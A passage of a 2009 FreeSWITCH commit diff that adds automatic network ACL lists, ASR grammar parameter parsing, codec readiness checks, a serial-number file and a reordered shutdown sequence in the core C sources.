 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Session-Count", "%u", switch_core_session_count());
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Session-Per-Sec", "%u", runtime.sps);
+		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Session-Since-Startup", "%" SWITCH_SIZE_T_FMT, switch_core_session_id() - 1);
 		switch_event_fire(&event);
 	}
 }
@@ -88,17 +95,22 @@
 	char old_ip4[256] = "";
 	char old_ip6[256] = "";
 	int ok4 = 1, ok6 = 1;
-	
-	switch_find_local_ip(guess_ip4, sizeof(guess_ip4), AF_INET);
-	switch_find_local_ip(guess_ip6, sizeof(guess_ip6), AF_INET6);
+	int mask = 0;
 
+	switch_find_local_ip(guess_ip4, sizeof(guess_ip4), &mask, AF_INET);
+	switch_find_local_ip(guess_ip6, sizeof(guess_ip6), NULL, AF_INET6);
+
 	if (!*main_ip4) {
 		switch_set_string(main_ip4, guess_ip4);
 	} else {
 		if (!(ok4 = !strcmp(main_ip4, guess_ip4))) {
+			struct in_addr in;
+
+			in.s_addr = mask;
 			switch_set_string(old_ip4, main_ip4);
 			switch_set_string(main_ip4, guess_ip4);
 			switch_core_set_variable("local_ip_v4", guess_ip4);
+			switch_core_set_variable("local_mask_v4", inet_ntoa(in));
 		}
 	}
 
@@ -136,7 +148,7 @@
 	check_ip();
 
 	/* reschedule this task */
-	task->runtime = switch_timestamp(NULL) + 20;
+	task->runtime = switch_epoch_time_now(NULL) + 20;
 }
 
 
@@ -243,18 +255,32 @@
 SWITCH_DECLARE(char *) switch_core_get_variable(const char *varname)
 {
 	char *val;
-	switch_mutex_lock(runtime.global_mutex);
+	switch_mutex_lock(runtime.global_var_mutex);
 	val = (char *) switch_core_hash_find(runtime.global_vars, varname);
-	switch_mutex_unlock(runtime.global_mutex);
+	switch_mutex_unlock(runtime.global_var_mutex);
 	return val;
 }
 
+static void switch_core_unset_variables(void)
+{
+	switch_hash_index_t *hi;
+    const void *var;
+    void *val;
+
+	switch_mutex_lock(runtime.global_var_mutex);
+	for (hi = switch_hash_first(NULL, runtime.global_vars); hi; hi = switch_hash_next(hi)) {
+		switch_hash_this(hi, &var, NULL, &val);
+		free(val);
+	}
+	switch_mutex_unlock(runtime.global_var_mutex);
+}
+
 SWITCH_DECLARE(void) switch_core_set_variable(const char *varname, const char *value)
 {
 	char *val;
 
 	if (varname) {
-		switch_mutex_lock(runtime.global_mutex);
+		switch_mutex_lock(runtime.global_var_mutex);
 		val = (char *) switch_core_hash_find(runtime.global_vars, varname);
 		if (val) {
 			free(val);
@@ -266,7 +292,7 @@
 		} else {
 			switch_core_hash_delete(runtime.global_vars, varname);
 		}
-		switch_mutex_unlock(runtime.global_mutex);
+		switch_mutex_unlock(runtime.global_var_mutex);
 	}
 }
 
@@ -282,8 +308,8 @@
 	switch_channel_t *channel;
 	switch_frame_t *read_frame;
 
-	switch_assert(thread != NULL);
-	switch_assert(session != NULL);
+//	switch_assert(thread != NULL);
+//	switch_assert(session != NULL);
 
 	if (switch_core_session_read_lock(session) != SWITCH_STATUS_SUCCESS) {
 		return NULL;
@@ -345,9 +371,9 @@
 
 */
 
-SWITCH_DECLARE(void) switch_core_launch_thread(switch_thread_start_t func, void *obj, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_thread_t *) switch_core_launch_thread(switch_thread_start_t func, void *obj, switch_memory_pool_t *pool)
 {
-	switch_thread_t *thread;
+	switch_thread_t *thread = NULL;
 	switch_threadattr_t *thd_attr = NULL;
 	switch_core_thread_session_t *ts;
 	int mypool;
@@ -356,11 +382,10 @@
 
 	if (!pool && switch_core_new_memory_pool(&pool) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not allocate memory pool\n");
-		return;
+		return NULL;
 	}
 
 	switch_threadattr_create(&thd_attr, pool);
-	switch_threadattr_detach_set(thd_attr, 1);
 
 	if ((ts = switch_core_alloc(pool, sizeof(*ts))) == 0) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not allocate memory\n");
@@ -369,10 +394,13 @@
 			ts->pool = pool;
 		}
 		ts->objs[0] = obj;
+		ts->objs[1] = thread;
 		switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
 		switch_threadattr_priority_increase(thd_attr);
 		switch_thread_create(&thread, thd_attr, func, ts, pool);
 	}
+
+	return thread;
 }
 
 SWITCH_DECLARE(void) switch_core_set_globals(void)
@@ -791,6 +819,13 @@
 	setrlimit(RLIMIT_CPU, &rlp);
 	setrlimit(RLIMIT_DATA, &rlp);
 	setrlimit(RLIMIT_FSIZE, &rlp);
+#ifdef RLIMIT_NPROC
+	setrlimit(RLIMIT_NPROC, &rlp);
+#endif
+#ifdef RLIMIT_RTPRIO
+	setrlimit(RLIMIT_RTPRIO, &rlp);
+#endif
+
 #if !defined(__OpenBSD__) && !defined(__NetBSD__)
 	setrlimit(RLIMIT_AS, &rlp);
 #endif
@@ -831,9 +866,17 @@
 SWITCH_DECLARE(void) switch_load_network_lists(switch_bool_t reload)
 {
 	switch_xml_t xml = NULL, x_lists = NULL, x_list = NULL, x_node = NULL, cfg = NULL;
-	switch_network_list_t *list;
+	switch_network_list_t *rfc_list, *list;
+	char guess_ip[16] = "";
+	int mask = 0;
+	char guess_mask[16] = "";
+	char *tmp_name;
+	struct in_addr in;
 
-
+	switch_find_local_ip(guess_ip, sizeof(guess_ip), &mask, AF_INET);
+	in.s_addr = mask;
+	switch_set_string(guess_mask, inet_ntoa(in));
+	
 	switch_mutex_lock(runtime.global_mutex);
 
 	if (IP_LIST.hash) {
@@ -848,6 +891,52 @@
 	switch_core_new_memory_pool(&IP_LIST.pool);
 	switch_core_hash_init(&IP_LIST.hash, IP_LIST.pool);
 
+
+	tmp_name = "rfc1918.auto";
+	switch_network_list_create(&rfc_list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Created ip list %s default (deny)\n", tmp_name);
+	switch_network_list_add_cidr(rfc_list, "10.0.0.0/8", SWITCH_TRUE);
+	switch_network_list_add_cidr(rfc_list, "172.16.0.0/12", SWITCH_TRUE);
+	switch_network_list_add_cidr(rfc_list, "192.168.0.0/16", SWITCH_TRUE);
+	switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);	
+
+	tmp_name = "wan.auto";
+	switch_network_list_create(&rfc_list, tmp_name, SWITCH_TRUE, IP_LIST.pool);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Created ip list %s default (allow)\n", tmp_name);
+	switch_network_list_add_cidr(rfc_list, "10.0.0.0/8", SWITCH_FALSE);
+	switch_network_list_add_cidr(rfc_list, "172.16.0.0/12", SWITCH_FALSE);
+	switch_network_list_add_cidr(rfc_list, "192.168.0.0/16", SWITCH_FALSE);
+	switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);	
+
+	tmp_name = "nat.auto";
+	switch_network_list_create(&rfc_list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Created ip list %s default (deny)\n", tmp_name);
+	if (switch_network_list_add_host_mask(rfc_list, guess_ip, guess_mask, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
+						  "Adding %s/%s (deny) to list %s\n", guess_ip, guess_mask, tmp_name);
+        }
+	switch_network_list_add_cidr(rfc_list, "10.0.0.0/8", SWITCH_TRUE);
+	switch_network_list_add_cidr(rfc_list, "172.16.0.0/12", SWITCH_TRUE);
+	switch_network_list_add_cidr(rfc_list, "192.168.0.0/16", SWITCH_TRUE);
+	switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);	
+
+	tmp_name = "loopback.auto";
+	switch_network_list_create(&rfc_list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Created ip list %s default (deny)\n", tmp_name);
+	switch_network_list_add_cidr(rfc_list, "127.0.0.0/8", SWITCH_TRUE);
+	switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
+
+	tmp_name = "localnet.auto";
+	switch_network_list_create(&list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Created ip list %s default (deny)\n", tmp_name);
+	
+	if (switch_network_list_add_host_mask(list, guess_ip, guess_mask, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
+						  "Adding %s/%s (allow) to list %s\n", guess_ip, guess_mask, tmp_name);
+	}
+	switch_core_hash_insert(IP_LIST.hash, tmp_name, list);	
+
+	
 	if ((xml = switch_xml_open_cfg("acl.conf", &cfg, NULL))) {
 		if ((x_lists = switch_xml_child(cfg, "network-lists"))) {
 			for (x_list = switch_xml_child(x_lists, "list"); x_list; x_list = x_list->next) {
@@ -863,7 +952,7 @@
 					default_type = switch_true(dft);
 				}
 
-				if (switch_network_list_create(&list, default_type, IP_LIST.pool) != SWITCH_STATUS_SUCCESS) {
+				if (switch_network_list_create(&list, name, default_type, IP_LIST.pool) != SWITCH_STATUS_SUCCESS) {
 					abort();
 				}
 
@@ -912,15 +1001,25 @@
 
 							if (id && user_cidr) {
 								char *token = switch_mprintf("%s@%s", id, domain);
+								char *argv[100] = { 0 };
+								char *dup_cidr = strdup(user_cidr);
+								int argc, i = 0;
+								
 								switch_assert(token);
-								
-								if (switch_network_list_add_cidr_token(list, user_cidr, ok, token) == SWITCH_STATUS_SUCCESS) {
-									switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding %s (%s) [%s] to list %s\n", 
-													  user_cidr, ok ? "allow" : "deny", switch_str_nil(token), name);
-								} else {
-									switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Adding %s (%s) [%s] to list %s\n",
-													  user_cidr, ok ? "allow" : "deny", switch_str_nil(token), name);
+								switch_assert(dup_cidr);
+
+								if ((argc = switch_separate_string(dup_cidr, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+									for (i = 0; i < argc; i++) {
+										if (switch_network_list_add_cidr_token(list, argv[i], ok, token) == SWITCH_STATUS_SUCCESS) {
+											switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding %s (%s) [%s] to list %s\n", 
+															  argv[i], ok ? "allow" : "deny", switch_str_nil(token), name);
+										} else {
+											switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Adding %s (%s) [%s] to list %s\n",
+															  argv[i], ok ? "allow" : "deny", switch_str_nil(token), name);
+										}
+									}
 								}
+								free(dup_cidr);
 								free(token);
 							}
 						}
@@ -934,22 +1033,32 @@
 										
 										if (id && user_cidr) {
 											char *token = switch_mprintf("%s@%s", id, domain);
+											char *argv[100] = { 0 };
+											char *dup_cidr = strdup(user_cidr);
+											int argc, i = 0;
+											
 											switch_assert(token);
-											
-											if (switch_network_list_add_cidr_token(list, user_cidr, ok, token) == SWITCH_STATUS_SUCCESS) {
-												switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding %s (%s) [%s] to list %s\n", 
-																  user_cidr, ok ? "allow" : "deny", switch_str_nil(token), name);
-											} else {
-												switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Adding %s (%s) [%s] to list %s\n",
-																  user_cidr, ok ? "allow" : "deny", switch_str_nil(token), name);
+											switch_assert(dup_cidr);
+
+											if ((argc = switch_separate_string(dup_cidr, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+												for (i = 0; i < argc; i++) {
+													if (switch_network_list_add_cidr_token(list, argv[i], ok, token) == SWITCH_STATUS_SUCCESS) {
+														switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding %s (%s) [%s] to list %s\n", 
+																		  argv[i], ok ? "allow" : "deny", switch_str_nil(token), name);
+													} else {
+														switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Adding %s (%s) [%s] to list %s\n",
+																		  argv[i], ok ? "allow" : "deny", switch_str_nil(token), name);
+													}
+												}
 											}
+											free(dup_cidr);
 											free(token);
 										}
 									}
 								}
 							}
 						}
-
+						
 						switch_xml_free(xml_root);
 					} else if (cidr) {
 						if (switch_network_list_add_cidr(list, cidr, ok) == SWITCH_STATUS_SUCCESS) {
@@ -998,11 +1107,55 @@
 	return runtime.default_dtmf_duration;
 }
 
+static void switch_core_set_serial(void)
+{
+	char buf[13] = "";
+	char path[256];
+	
+	int fd = -1, write_fd = -1;
+	switch_ssize_t bytes = 0;
+
+	switch_snprintf(path, sizeof(path), "%s%sfreeswitch.serial", SWITCH_GLOBAL_dirs.conf_dir, SWITCH_PATH_SEPARATOR);
+
+
+	if ((fd = open(path, O_RDONLY, 0)) < 0) {
+		char *ip = switch_core_get_variable("local_ip_v4");
+		uint32_t ipi = 0;
+		switch_byte_t *byte;
+		int i = 0;
+
+		switch_inet_pton(AF_INET, ip, &ipi);
+		byte = (switch_byte_t *) &ipi;
+
+		for(i = 0; i < 8; i += 2) {
+			switch_snprintf(buf + i, sizeof(buf) - i, "%0.2x", *byte);
+			byte++;
+		}
+
+		switch_stun_random_string(buf + 8, 4, "0123456789abcdef");
+
+		if ((write_fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR)) >= 0) {
+			bytes = write(write_fd, buf, sizeof(buf));
+			close(write_fd);
+			write_fd = -1;
+		}
+	} else {
+		bytes = read(fd, buf, sizeof(buf));
+		close(fd);
+		fd = -1;
+	}
+	
+	switch_core_set_variable("switch_serial", buf);
+}
+
+
 SWITCH_DECLARE(switch_status_t) switch_core_init(switch_core_flag_t flags, switch_bool_t console, const char **err)
 {
 	switch_uuid_t uuid;
 	char guess_ip[256];
 	char *dir_path;
+	int mask = 0;
+	struct in_addr in;
 
 	memset(&runtime, 0, sizeof(runtime));
 
@@ -1045,7 +1198,9 @@
 
 
 	switch_mutex_init(&runtime.throttle_mutex, SWITCH_MUTEX_NESTED, runtime.memory_pool);
+	switch_mutex_init(&runtime.session_hash_mutex, SWITCH_MUTEX_NESTED, runtime.memory_pool);
 	switch_mutex_init(&runtime.global_mutex, SWITCH_MUTEX_NESTED, runtime.memory_pool);
+	switch_mutex_init(&runtime.global_var_mutex, SWITCH_MUTEX_NESTED, runtime.memory_pool);
 	switch_core_set_globals();
 	switch_core_session_init(runtime.memory_pool);
 	switch_core_hash_init(&runtime.global_vars, runtime.memory_pool);
@@ -1054,13 +1209,23 @@
 	runtime.flags = flags;
 	runtime.sps_total = 30;
 
-	switch_find_local_ip(guess_ip, sizeof(guess_ip), AF_INET);
+	*err = NULL;
+
+	if (console) {
+		runtime.console = stdout;
+	}
+
+	switch_find_local_ip(guess_ip, sizeof(guess_ip), &mask, AF_INET);
 	switch_core_set_variable("local_ip_v4", guess_ip);
-	switch_find_local_ip(guess_ip, sizeof(guess_ip), AF_INET6);
+	in.s_addr = mask;
+	switch_core_set_variable("local_mask_v4", inet_ntoa(in));
+
+
+	switch_find_local_ip(guess_ip, sizeof(guess_ip), NULL, AF_INET6);
 	switch_core_set_variable("local_ip_v6", guess_ip);
 	switch_core_set_variable("base_dir", SWITCH_GLOBAL_dirs.base_dir);
+	switch_core_set_serial();
 
-
 	switch_event_init(runtime.memory_pool);
 
 	if (switch_xml_init(runtime.memory_pool, err) != SWITCH_STATUS_SUCCESS) {
@@ -1068,27 +1233,29 @@
 		return SWITCH_STATUS_MEMERR;
 	}
 
+	if (switch_test_flag((&runtime), SCF_USE_AUTO_NAT)) {
+		switch_nat_init(runtime.memory_pool);
+	}
+	
+	switch_log_init(runtime.memory_pool, runtime.colorize_console);
+
 	switch_load_core_config("switch.conf");
 
-	switch_log_init(runtime.memory_pool, runtime.colorize_console);
+
 	switch_core_state_machine_init(runtime.memory_pool);
 
-	*err = NULL;
-
-	if (console) {
-		runtime.console = stdout;
-	}
-
 	if (switch_test_flag((&runtime), SCF_USE_SQL)) {
 		switch_core_sqldb_start(runtime.memory_pool);
 	}
+	switch_scheduler_task_thread_start();
+
 	switch_rtp_init(runtime.memory_pool);
+
 	runtime.running = 1;
 
-	switch_scheduler_task_thread_start();
 	runtime.initiated = switch_time_now();
 
-	switch_scheduler_add_task(switch_timestamp(NULL), heartbeat_callback, "heartbeat", "core", 0, NULL, SSHF_NONE | SSHF_NO_DEL);
+	switch_scheduler_add_task(switch_epoch_time_now(NULL), heartbeat_callback, "heartbeat", "core", 0, NULL, SSHF_NONE | SSHF_NO_DEL);
 
 	switch_uuid_get(&uuid);
 	switch_uuid_format(runtime.uuid_str, &uuid);
@@ -1223,6 +1390,10 @@
 					switch_rtp_set_start_port((switch_port_t) atoi(val));
 				} else if (!strcasecmp(var, "rtp-end-port") && !switch_strlen_zero(val)) {
 					switch_rtp_set_end_port((switch_port_t) atoi(val));
+#ifdef ENABLE_ZRTP
+				} else if (!strcasecmp(var, "rtp-enable-zrtp")) {
+					switch_core_set_variable("zrtp_enabled", val);
+#endif
 				}
 			}
 		}
@@ -1323,7 +1494,7 @@
 
 SWITCH_DECLARE(switch_time_t) switch_core_uptime(void)
 {
-	return switch_timestamp_now() - runtime.initiated;
+	return switch_micro_time_now() - runtime.initiated;
 }
 
 SWITCH_DECLARE(int32_t) switch_core_session_ctl(switch_session_ctl_t cmd, int32_t *val)
@@ -1456,6 +1627,7 @@
 SWITCH_DECLARE(switch_status_t) switch_core_destroy(void)
 {
 	switch_event_t *event;
+
 	if (switch_event_create(&event, SWITCH_EVENT_SHUTDOWN) == SWITCH_STATUS_SUCCESS) {
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Event-Info", "System Shutting Down");
 		switch_event_fire(&event);
@@ -1463,26 +1635,33 @@
 
 	switch_set_flag((&runtime), SCF_NO_NEW_SESSIONS);
 	switch_set_flag((&runtime), SCF_SHUTTING_DOWN);
-
+	
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "End existing sessions\n");
 	switch_core_session_hupall(SWITCH_CAUSE_SYSTEM_SHUTDOWN);
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Clean up modules.\n");
-	switch_core_memory_stop();
+
 	switch_loadable_module_shutdown();
-
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Closing Event Engine.\n");
-	switch_event_shutdown();
-
+	
 	if (switch_test_flag((&runtime), SCF_USE_SQL)) {
 		switch_core_sqldb_stop();
 	}
 	switch_scheduler_task_thread_stop();
-
+	
 	switch_rtp_shutdown();
+	if (switch_test_flag((&runtime), SCF_USE_AUTO_NAT)) {
+		switch_nat_shutdown();
+	}
 	switch_xml_destroy();
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Closing Event Engine.\n");
+	switch_event_shutdown();
+
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Finalizing Shutdown.\n");
 	switch_log_shutdown();
 
+	switch_core_unset_variables();
+	switch_core_memory_stop();
+
 	if (runtime.console && runtime.console != stdout && runtime.console != stderr) {
 		fclose(runtime.console);
 		runtime.console = NULL;
@@ -1503,9 +1682,7 @@
 
 	if (runtime.memory_pool) {
 		apr_pool_destroy(runtime.memory_pool);
-		if (switch_test_flag((&runtime), SCF_RESTART)) {
-			apr_terminate();
-		}
+		apr_terminate();
 	}
 	
 	return switch_test_flag((&runtime), SCF_RESTART) ? SWITCH_STATUS_RESTART : SWITCH_STATUS_SUCCESS;
@@ -1561,8 +1738,31 @@
 {
 	struct system_thread_handle *sth = (struct system_thread_handle *)obj;
 
+#if 0 // if we are a luser we can never turn this back down, didn't we already set the stack size?
+#if defined(HAVE_SETRLIMIT) && !defined(__FreeBSD__)
+	struct rlimit rlim;
+
+	rlim.rlim_cur = SWITCH_SYSTEM_THREAD_STACKSIZE;
+	rlim.rlim_max = SWITCH_SYSTEM_THREAD_STACKSIZE;
+	if (setrlimit(RLIMIT_STACK, &rlim) < 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Setting stack size failed! (%s)\n", strerror(errno));
+	}
+#endif
+#endif
+
 	sth->ret = system(sth->cmd);
 
+#if 0
+#if defined(HAVE_SETRLIMIT) && !defined(__FreeBSD__)
+	rlim.rlim_cur = SWITCH_THREAD_STACKSIZE;
+	rlim.rlim_max = SWITCH_SYSTEM_THREAD_STACKSIZE; 
+	if (setrlimit(RLIMIT_STACK, &rlim) < 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Setting stack size failed! (%s)\n", strerror(errno));
+	}
+
+#endif
+#endif
+
 	switch_mutex_lock(sth->mutex);
 	switch_thread_cond_signal(sth->cond);
 	switch_mutex_unlock(sth->mutex);
@@ -1579,16 +1779,7 @@
 	int ret = 0;
 	struct system_thread_handle *sth;
 	switch_memory_pool_t *pool;
-#if defined(HAVE_SETRLIMIT) && !defined(__FreeBSD__)
-	struct rlimit rlim;
 
-	rlim.rlim_cur = SWITCH_SYSTEM_THREAD_STACKSIZE;
-	rlim.rlim_max = SWITCH_SYSTEM_THREAD_STACKSIZE;
-	if (setrlimit(RLIMIT_STACK, &rlim) < 0) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Setting stack size failed!\n");
-	}
-#endif
-
 	if (switch_core_new_memory_pool(&pool) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Pool Failure\n");
 		return 1;

Modified: freeswitch/branches/seven/src/switch_core_asr.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_asr.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_asr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,15 +17,16 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
+ * Christopher M. Rienzo <chris@rienzo.net>
  *
  *
  * switch_core_asr.c -- Main Core Library (Speech Detection Interface)
@@ -76,33 +77,85 @@
 	ah->rate = rate;
 	ah->name = switch_core_strdup(ah->memory_pool, module_name);
 
-	return ah->asr_interface->asr_open(ah, codec, rate, dest, flags);
+	status = ah->asr_interface->asr_open(ah, codec, rate, dest, flags);
+
+	if (status != SWITCH_STATUS_SUCCESS) {
+		UNPROTECT_INTERFACE(ah->asr_interface);
+	}
+
+	return status;
+
 }
 
-SWITCH_DECLARE(switch_status_t) switch_core_asr_load_grammar(switch_asr_handle_t *ah, const char *grammar, const char *path)
+SWITCH_DECLARE(switch_status_t) switch_core_asr_load_grammar(switch_asr_handle_t *ah, const char *grammar, const char *name)
 {
-	char *epath = NULL;
-	switch_status_t status;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	char *param_string = NULL;
+	char *data = NULL;
+	char *lgrammar = NULL;
 
 	switch_assert(ah != NULL);
 
-	if (!switch_is_file_path(path)) {
-		epath = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.grammar_dir, SWITCH_PATH_SEPARATOR, path);
-		path = epath;
+	if (switch_strlen_zero(grammar)) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
 	}
 
-	status = ah->asr_interface->asr_load_grammar(ah, grammar, path);
-	switch_safe_free(epath);
+	/* Set ASR parameters from params in the grammar string
+	 * Params are defined as follows {name1=val1,name2=val2,name3=val3}grammar text
+	 */
+	lgrammar = strdup(grammar);
+	data = lgrammar;
 
+	/* strip leading spaces */
+	while (data && *data == ' ') {
+		data++;
+	}
+	if (switch_strlen_zero(data)) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	
+	/* extract params */
+	if (*data == '{') {
+		param_string = data + 1;
+		data = switch_find_end_paren(data, '{', '}');
+		if (switch_strlen_zero(data)) {
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		} else {	
+			*data = '\0';
+			data++;
+		}
+	}
+
+	/* set ASR params */
+	if (!switch_strlen_zero(param_string)) {
+		char *param[256] = { 0 };
+		int i;
+		int argc = switch_separate_string(param_string, ',', param, (sizeof(param) / sizeof(param[0])));
+		for (i = 0; i < argc && param[i]; ++i) {
+			char *param_pair[2] = { 0 };
+			if(switch_separate_string(param[i], '=', param_pair, (sizeof(param_pair) / sizeof(param_pair[0]))) == 2) {
+				switch_core_asr_text_param(ah, param_pair[0], param_pair[1]);
+			}
+		}
+	}
+
+	status = ah->asr_interface->asr_load_grammar(ah, data, name);
+
+ done:
+
+	switch_safe_free(lgrammar);
 	return status;
 }
 
-SWITCH_DECLARE(switch_status_t) switch_core_asr_unload_grammar(switch_asr_handle_t *ah, const char *grammar)
+SWITCH_DECLARE(switch_status_t) switch_core_asr_unload_grammar(switch_asr_handle_t *ah, const char *name)
 {
 	switch_status_t status;
 
 	switch_assert(ah != NULL);
-	status = ah->asr_interface->asr_unload_grammar(ah, grammar);
+	status = ah->asr_interface->asr_unload_grammar(ah, name);
 
 	return status;
 }
@@ -158,6 +211,46 @@
 	return ah->asr_interface->asr_get_results(ah, xmlstr, flags);
 }
 
+SWITCH_DECLARE(switch_status_t) switch_core_asr_start_input_timers(switch_asr_handle_t *ah)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+
+	switch_assert(ah != NULL);
+
+	if (ah->asr_interface->asr_start_input_timers) {
+		status = ah->asr_interface->asr_start_input_timers(ah);
+	}
+
+	return status;
+}
+
+SWITCH_DECLARE(void) switch_core_asr_text_param(switch_asr_handle_t *ah, char *param, const char *val)
+{
+	switch_assert(ah != NULL);
+
+	if (ah->asr_interface->asr_text_param) {
+		ah->asr_interface->asr_text_param(ah, param, val);
+	}
+}
+
+SWITCH_DECLARE(void) switch_core_asr_numeric_param(switch_asr_handle_t *ah, char *param, int val)
+{
+	switch_assert(ah != NULL);
+
+	if (ah->asr_interface->asr_numeric_param) {
+		ah->asr_interface->asr_numeric_param(ah, param, val);
+	}
+}
+
+SWITCH_DECLARE(void) switch_core_asr_float_param(switch_asr_handle_t *ah, char *param, double val)
+{
+	switch_assert(ah != NULL);
+
+	if (ah->asr_interface->asr_float_param) {
+		ah->asr_interface->asr_float_param(ah, param, val);
+	}
+}
+
 /* For Emacs:
  * Local Variables:
  * mode:c

Modified: freeswitch/branches/seven/src/switch_core_codec.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_codec.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_codec.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *
@@ -100,7 +100,7 @@
 
 	switch_mutex_lock(session->codec_read_mutex);
 
-	if (codec && !codec->implementation) {
+	if (codec && (!codec->implementation || !switch_core_codec_ready(codec))) {
 		codec = NULL;
 	}
 	
@@ -221,7 +221,7 @@
 
 	switch_mutex_lock(session->codec_write_mutex);
 
-	if (!codec || !codec->implementation) {
+	if (!codec || !codec->implementation || !switch_core_codec_ready(codec)) {
 		if (session->real_write_codec) {
 			session->write_codec = session->real_write_codec;
 			session->write_impl = *session->real_write_codec->implementation;
@@ -301,7 +301,7 @@
 	char tmp[30];
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
 
-	if (!codec || !codec->implementation) {
+	if (!codec || !codec->implementation || !switch_core_codec_ready(codec)) {
 		if (session->video_read_codec) {
 			session->video_read_codec = NULL;
         	status = SWITCH_STATUS_SUCCESS;
@@ -345,7 +345,7 @@
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	char tmp[30];
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
-		if (!codec || !codec->implementation) {
